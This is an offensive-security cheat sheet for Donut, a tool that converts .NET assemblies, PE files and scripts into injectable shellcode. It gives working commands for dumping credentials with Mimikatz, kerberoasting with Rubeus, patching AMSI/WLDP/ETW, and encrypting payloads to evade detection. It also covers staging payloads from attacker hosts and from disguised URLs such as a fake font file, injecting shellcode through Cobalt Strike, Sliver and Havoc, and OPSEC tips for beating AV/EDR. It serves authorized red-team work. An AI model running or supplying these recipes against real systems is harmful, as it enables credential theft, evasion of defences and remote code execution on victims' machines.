← All cheat sheets

DONUT

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Donut generates position-independent shellcode from .NET assemblies,
PE files, VBScript, JScript, and XSL files. Essential for payload
staging, process injection, and in-memory execution.

INSTALLATION#

# From GitHub releases
# https://github.com/TheWover/donut/releases

# Build from source (Linux)
git clone https://github.com/TheWover/donut
cd donut && make

# Build from source (Windows)
git clone https://github.com/TheWover/donut
cd donut
nmake -f Makefile.msvc

# Python module
pip install donut-shellcode

SUPPORTED INPUT FORMATS#

Format       Extension    Notes
------       ---------    -----
.NET EXE     .exe         Requires CLR; specify class/method or entry point
.NET DLL     .dll         Must specify class and method
Native EXE   .exe         Unmanaged PE
Native DLL   .dll         Specify function name or DllMain
VBScript     .vbs         Windows Script Host
JScript      .js          Windows Script Host
XSL          .xsl         XSLT with embedded scripts

BASIC USAGE#

# .NET assembly to shellcode
donut -f payload.exe -o shellcode.bin

# .NET DLL with class and method
donut -f payload.dll -c MyNamespace.MyClass -m Execute -o shellcode.bin

# .NET assembly with arguments
donut -f Rubeus.exe -p "kerberoast /nowrap" -o rubeus_sc.bin

# Native PE to shellcode
donut -f mimikatz.exe -o mimi_sc.bin

# VBScript to shellcode
donut -f payload.vbs -o shellcode.bin

# JScript to shellcode
donut -f payload.js -o shellcode.bin

ARCHITECTURE OPTIONS#

donut -f payload.exe -a 1 -o sc.bin      # x86
donut -f payload.exe -a 2 -o sc.bin      # amd64
donut -f payload.exe -a 3 -o sc.bin      # x86+amd64 (dual-mode)

# Default: auto-detect from input file

BYPASS OPTIONS#

# AMSI/WLDP/ETW bypass
donut -f payload.exe -b 1 -o sc.bin      # None (no bypass)
donut -f payload.exe -b 2 -o sc.bin      # Abort on fail
donut -f payload.exe -b 3 -o sc.bin      # Continue on fail (default)

# Bypass techniques applied:
#   AMSI:  Patches AmsiScanBuffer to return clean result
#   WLDP:  Patches WldpQueryDynamicCodeTrust
#   ETW:   Patches EtwEventWrite to disable tracing

ENTROPY & ENCRYPTION#

# Entropy level (anti-detection)
donut -f payload.exe -e 1 -o sc.bin      # No encryption
donut -f payload.exe -e 2 -o sc.bin      # Random names only
donut -f payload.exe -e 3 -o sc.bin      # Random names + encryption (default)

# Encryption uses Chaskey block cipher for module data
# Decryption key is embedded in the shellcode loader

COMPRESSION#

# Compress payload before encryption
donut -f payload.exe -z 1 -o sc.bin      # No compression
donut -f payload.exe -z 2 -o sc.bin      # aPLib compression (default)
donut -f payload.exe -z 3 -o sc.bin      # LZNT1 (RtlCompressBuffer)
donut -f payload.exe -z 4 -o sc.bin      # Xpress
donut -f payload.exe -z 5 -o sc.bin      # Xpress Huffman

# Compression reduces shellcode size significantly
# Useful for size-constrained injection scenarios

OUTPUT OPTIONS#

# Output format
donut -f payload.exe -o shellcode.bin     # Raw binary (default)
donut -f payload.exe -o shellcode.b64     # Base64
donut -f payload.exe -o shellcode.rb      # Ruby array
donut -f payload.exe -o shellcode.py      # Python array
donut -f payload.exe -o shellcode.ps1     # PowerShell byte array
donut -f payload.exe -o shellcode.cs      # C# byte array
donut -f payload.exe -o shellcode.c       # C array
donut -f payload.exe -o shellcode.hex     # Hex string

# Format flag
donut -f payload.exe -y 1 -o sc.bin      # Binary
donut -f payload.exe -y 2 -o sc.b64      # Base64
donut -f payload.exe -y 3 -o sc.cs       # C
donut -f payload.exe -y 4 -o sc.rb       # Ruby
donut -f payload.exe -y 5 -o sc.py       # Python
donut -f payload.exe -y 6 -o sc.ps1      # PowerShell
donut -f payload.exe -y 7 -o sc.cs       # C#
donut -f payload.exe -y 8 -o sc.hex      # Hex

EXECUTION OPTIONS#

# Thread execution (how shellcode runs in target)
donut -f payload.exe -t -o sc.bin        # Run as new thread
donut -f payload.exe -o sc.bin           # Run in current thread (default)

# Exit options
donut -f payload.exe -x 1 -o sc.bin      # Exit thread on completion
donut -f payload.exe -x 2 -o sc.bin      # Exit process on completion
donut -f payload.exe -x 3 -o sc.bin      # Do not exit (block)

# .NET runtime version
donut -f payload.exe -r v4.0.30319 -o sc.bin   # Specify CLR version

# AppDomain name
donut -f payload.exe -d MyDomain -o sc.bin

STAGING (HTTP/DNS)#

# Stage payload from URL instead of embedding
donut -f payload.exe -u http://ATTACKER/payload -o stager.bin

# The shellcode downloads and decrypts the module at runtime
# Reduces initial shellcode size
# Payload is encrypted; URL just serves encrypted blob

# Generate staged payload
donut -f Rubeus.exe -p "kerberoast" -u http://10.10.14.1/stage -o stager.bin

# Host the encrypted module on your server
# Donut creates both the stager and the module file

PYTHON MODULE#

import donut

# Basic conversion
shellcode = donut.create(file="payload.exe")

# With options
shellcode = donut.create(
    file="Rubeus.exe",
    params="kerberoast /nowrap",
    arch=2,                     # amd64
    bypass=3,                   # Continue on bypass fail
    entropy=3,                  # Full encryption
    compress=2,                 # aPLib compression
    format=1,                   # Raw binary
    exit_opt=1                  # Exit thread
)

# Write to file
with open("shellcode.bin", "wb") as f:
    f.write(shellcode)

COMMON RECIPES#

# Rubeus kerberoasting
donut -f Rubeus.exe -p "kerberoast /nowrap" -a 2 -o rubeus_sc.bin

# Mimikatz credential dump
donut -f mimikatz.exe -p "sekurlsa::logonpasswords exit" -a 2 -o mimi_sc.bin

# Seatbelt enumeration
donut -f Seatbelt.exe -p "-group=all -full" -a 2 -o seatbelt_sc.bin

# SharpHound collection
donut -f SharpHound.exe -p "-c All" -a 2 -o sharphound_sc.bin

# Custom .NET tool
donut -f MyTool.dll -c Namespace.Class -m Method -a 2 -o tool_sc.bin

# Staged delivery
donut -f payload.exe -u https://cdn.legit.com/font.woff -a 2 -o stager.bin

INTEGRATION WITH C2 FRAMEWORKS#

# Cobalt Strike - inject Donut shellcode
beacon> shinject PID x64 /path/to/shellcode.bin

# Sliver - execute shellcode
sliver (IMPLANT)> execute-shellcode /path/to/shellcode.bin
sliver (IMPLANT)> execute-shellcode -p PID /path/to/shellcode.bin

# Havoc - inject shellcode
demon> shellcode inject x64 PID /path/to/shellcode.bin
demon> shellcode spawn x64 /path/to/shellcode.bin

# Custom injector (C#)
byte[] sc = File.ReadAllBytes("shellcode.bin");
// Use VirtualAllocEx + WriteProcessMemory + CreateRemoteThread
// Or use syscalls for evasion

ALL FLAGS REFERENCE#

Flag  Description                          Default
----  -----------                          -------
-f    Input file path                      (required)
-o    Output file path                     payload.bin
-a    Architecture (1=x86, 2=x64, 3=both) Auto-detect
-b    Bypass (1=none, 2=abort, 3=continue) 3
-e    Entropy (1=none, 2=random, 3=full)   3
-z    Compression (1=none, 2=aPLib)        2
-y    Output format (1-8)                  1 (binary)
-x    Exit opt (1=thread, 2=process, 3=block) 1
-t    Create new thread                    false
-c    .NET class name                      (auto for EXE)
-m    .NET method name                     (auto for EXE)
-p    Parameters / arguments               none
-d    AppDomain name                       random
-r    CLR runtime version                  auto
-u    Staging URL                          none (embedded)
-s    Server module path for staging       none
-n    Module name (for entropy=2)          random

OPSEC CONSIDERATIONS#

  - Use entropy level 3 for encrypted shellcode (default)
  - Enable compression to reduce size and change signatures
  - AMSI/WLDP/ETW bypass helps but may trigger heuristics
  - Staged delivery keeps initial payload small
  - The CLR loading itself is detectable (clr.dll, mscorjit.dll)
  - .NET assembly loading generates ETW events even with bypass
  - Combine with custom injectors using direct/indirect syscalls
  - Each Donut generation produces unique encrypted shellcode
  - Avoid writing shellcode to disk on target
  - Test against target's AV/EDR in a lab environment